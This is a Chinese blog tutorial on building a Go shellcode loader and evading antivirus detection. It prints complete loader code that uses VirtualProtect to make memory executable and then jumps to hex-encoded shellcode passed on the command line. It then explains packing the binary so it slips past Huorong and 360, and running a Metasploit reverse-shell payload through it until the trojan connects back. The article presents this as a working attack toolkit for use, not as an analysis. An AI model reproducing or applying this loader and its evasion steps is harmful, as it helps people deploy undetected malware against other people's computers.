自写go加载器加壳免杀——过国内主流杀软

简介: 自写go加载器加壳免杀——过国内主流杀软

01免杀编写说明


参考自己公司大佬写的go木马中的内存保护

必须对Windows一些重要dll 和 go语言的指针有所了解(重 要 ! )

思路:还是和我之前的文章一样采用分离式加载免杀


02shellcode加载器


shellcode加载器的编写结构:

1. 定义一个接收函数

2. 将你的shellcode放入你的刚才定义的接收函数

3. 解密shellcode

4. 加载运行


03shellcode实现 讲 解

 

1. go语言编写的基本原则


  go语言必要的 package main以及func main 主函数


package mainfunc main(){    }


基本的go结构:所有的函数都从main函数开始加载,如果没有放入函数,则不会执行该函数。


你创建的函数必须写在main函数之上



在主函数中加入Run函数(待会儿我们要创建的),并且该函数需要单独创建一个 这里只是调用:



2. 使用Run函数就得创建一个名为Run的函数,但是在那之前我们要使用一个保护函数待会用于保护我们的shellcode地址:


在这里可以创建VirtualProtect函数用来保护我们的函数,并且去掉一些函数特征。


具体代码如下:


var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}


这里我们需要了解几个重要的函数:

syscall这是调用函数的函数;

NewLazyDLL来调取kernel32.dll(极其重要的链接库 几乎所有的木马都会调用这个函数);

NewProc是指api;

NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api;


有兴趣的可以参考《恶意代码分析》这本书:




3. 将你保护代码放入你的定义函数之中


这里涉及go语言指针,简单的说一下指针,可能讲的会有些模糊


指针是一个地址传递的,地址传递会发生内存地址的改变。

但是这个和值传递不同有所不同。


其中指针表示:  *一级指针 **二级指针


func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}


在这里对下面的代码进行解读:


VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))



解读:unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数设置为0  unint32(0x40)flNewProtect是内存新的属性类型,将PAGE_EXECUTE_READWRITE设置为(0x40)时该内存页为可读可写可执行并且是最大权限

VirtualProtect 函数的意思:



继续:


**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

将shellcode放入函数中,&sc为shellcode的内存地址;这里的目的就是将shellcode的地址赋值给了&f的地址。


通俗的讲就是:

以前shellcode的地址是&sc 现在变成&f ,而&f的地址是进行了内存保护的,等同于shellcode也被保护了。


shellcode的地址


VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))

4. 最后一步,调用f函数:




这里调用f函数f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址

04完整shellcode代码


完整代码如下:


package main
import (
    "encoding/hex"
    "fmt"
    "os"
    "syscall"
    "unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}
func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}
func main() {
    //解密
    x, _ := hex.DecodeString(os.Args[1])
    Run(x)
}

其中:import是自动导入,不需要手动输入


以上完成了所有的代码,由于go语言无法直接执行,我们需要进行编译,编译方法如下:


找到你的go语言所在路径 cmd 使用


go build main.go



此时会编译生成一个main.exe (火绒会报毒


05加 壳 免 杀


免杀还是采用加壳,upx可以使用但需要抹除特征码(对汇编不好的师傅不太友好,而且容易出问题)。

这里还是采用 safe的壳:



用法很简单:

将你的exe 拖入之后就可以了 (这里选择默认加壳模式就行了,当然如果懂汇编的师傅可以尝试一下其它的选项)



免杀效果:可过火绒和360。


06msf配合免杀演示



1. msf 生成木马



其中,LHOST、 LPORT 根据自己的情况设置。


2.查看生成的木马:


cat   rev.hex


3.创建监听



4.加载你的shellcode


找到你加壳后的exe,在 cmd中运行:



main_se.exe + rev.hex的文件内容


此时木马上线成功


07 总    结


本次的内容,对于不懂汇编或者go语言的师傅会理解比较困难。我也尽力通俗的进行了描述, 如有不便请多担待,当然在这里生成的木马还是有点大,请师傅们理解。

相关文章
|
3月前
|
存储 Go
Go 浅析主流日志库:从设计层学习如何集成日志轮转与切割功能
本文将探讨几个热门的 go 日志库如 logrus、zap 和官网的 slog,我将分析这些库的的关键设计元素,探讨它们是如何支持日志轮转与切割功能的配置。
103 0
Go 浅析主流日志库:从设计层学习如何集成日志轮转与切割功能
|
6月前
|
存储 JSON Go
Go语言微服务框架 - 2.实现加载静态配置文件
今天,我们先将重点放到加载配置文件库的技术选型,顺便分享一些常见的问题。
40 1
|
11月前
|
Go 微服务 Python
go加壳分离免杀过国内主流杀软
go加壳分离免杀过国内主流杀软
542 0
|
Go
go语言简单实现加载ini文件
go语言简单实现加载ini文件
108 0
go语言简单实现加载ini文件
|
JSON Shell 测试技术
gookit/config - Go应用配置管理,支持多种格式,多文件加载,支持数据合并,解析环境变量名等等
gookit/config - Go应用配置管理,支持多种格式,多文件加载,支持数据合并,解析环境变量名,绑定数据到结构体等等
139 0
gookit/config - Go应用配置管理,支持多种格式,多文件加载,支持数据合并,解析环境变量名等等
|
存储 缓存 Rust
Java、Rust、Go主流编程语言的哈希表比较——《我的Java打怪日记》
哈希表(HashMap、字典)是日常编程当中所经常用到的一种数据结构,程序员经常接解到的大数据Hadoop技术栈、Redis缓存数据库等等最近热度很高的技术,其实都是对键值(key-value)数据的高效存储与提取,而key-value恰恰就是哈希表中存储的元素结构,可以说Redis、HDFS这些都是哈希表的经典应用,不过笔者之前也只知道哈希表比较快,但对于具体什么场景下快,怎么用才快等等知识却一知半解,因此这里把目前的一些研究成果分享给大家。
|
存储 Go 区块链
比原链CTO James | Go语言成为区块链主流开发语言的四点理由
11月24日,比原链CTO James参加了Go中国举办的Gopher Meetup杭州站活动,与来自阿里、网易的技术专家带来Kubernetes、区块链、日志采集、云原生等话题的分享。James向大家介绍了Go语言特性在区块链中的应用还分析了Go语言成为区块链主流开发语言的原因。
1392 0
|
5天前
|
数据采集 存储 Go
使用Go语言和chromedp库下载Instagram图片:简易指南
Go语言爬虫示例使用chromedp库下载Instagram图片,关键步骤包括设置代理IP、创建带代理的浏览器上下文及执行任务,如导航至用户页面、截图并存储图片。代码中新增`analyzeAndStoreImage`函数对图片进行分析和分类后存储。注意Instagram的反爬策略可能需要代码适时调整。
使用Go语言和chromedp库下载Instagram图片:简易指南
|
1天前
|
Go 开发者
Golang深入浅出之-Go语言上下文(context)包:处理取消与超时
【4月更文挑战第23天】Go语言的`context`包提供`Context`接口用于处理任务取消、超时和截止日期。通过传递`Context`对象,开发者能轻松实现复杂控制流。本文解析`context`包特性,讨论常见问题和解决方案,并给出代码示例。关键点包括:1) 确保将`Context`传递给所有相关任务;2) 根据需求选择适当的`Context`创建函数;3) 定期检查`Done()`通道以响应取消请求。正确使用`context`包能提升Go程序的控制流管理效率。
6 1
|
2天前
|
安全 Go 开发者
Golang深入浅出之-Go语言并发编程面试:Goroutine简介与创建
【4月更文挑战第22天】Go语言的Goroutine是其并发模型的核心,是一种轻量级线程,能低成本创建和销毁,支持并发和并行执行。创建Goroutine使用`go`关键字,如`go sayHello("Alice")`。常见问题包括忘记使用`go`关键字、不正确处理通道同步和关闭、以及Goroutine泄漏。解决方法包括确保使用`go`启动函数、在发送完数据后关闭通道、设置Goroutine退出条件。理解并掌握这些能帮助开发者编写高效、安全的并发程序。
12 1